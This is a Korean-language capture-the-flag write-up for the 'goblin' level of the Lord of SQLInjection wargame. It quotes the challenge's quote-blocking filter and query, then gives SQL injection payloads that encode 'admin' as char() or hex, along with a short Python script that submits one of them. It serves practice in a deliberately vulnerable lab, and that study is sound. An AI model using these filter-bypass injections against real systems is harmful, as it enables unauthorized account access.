[LORD OF SQLINJECTION] goblin

Write Up

 위 문제들은 query문과 해당 소스코드를 알려줍니다.
이를 이용하여 solve() 함수를 실행시키면 문제가 풀리는 형식입니다.

 

https://los.rubiya.kr/gate.php

---

소스 코드 분석

...
//change filtering pattern
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 

//query import
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";   
...

---

크게 달라진 부분이자 핵심인 부분입니다.
' " ` 을 막아버리고 id=guest로 탐색하나, admin으로 우회해야합니다.

 

핵심으로는 no={$_GET[no]} 부분일 수 밖에 없습니다
좀 찾아보니까 sql도 number를 ASCII code나 Hex 값을 통해 우회를 할 수 있습니다.
해당 변환 함수나 값을 통해 유의미한 값을 도출 할 수 있기 때문입니다.

---

Soultion

Where의 주석(우회)

https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php

?no=0 or id=char(97, 100, 109, 105 ,110)
?no=0 or id=0x61646D696E

해당 부분은 GET방식으로 얻기에 URL에 입력을 하여 SQL문을 동작합니다.
no번에는 특정한 계정의 ID를 확인할 수 있습니다.

그러기에 해당 admin을 향한 값을 구하거나 no의 값을 무시하고 or문을 통해 admin을 호출해도 됨

 

해당 변환 코드는 『ascii, hex code transfer web site』라고 구글링한거 사용함

위와 같이 함

ㅇ

Exploit Code

#!/usr/bin/python3
from requests import get
from pwn import *

url = 'https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php'
cookies = dict(PHPSESSID='05ivanqqvt1mh4gvt59jiihjj5')

#query = '?no=0 or id=char(97, 100, 109, 105 ,110)'
query = '?no=0 or id=0x61646D696E'

def pw_leak(url, query):
    res = get(url+query, cookies=cookies)

    if res.text.find('<h2>GOBLIN Clear!</h2>') > 0:
        log.success('Success!!')
    else:
        log.failure('false :<')

if '__main__' in __name__:
    print(url)
    pw_leak(url, query)

 

---

참고 자료

 

참고 이미지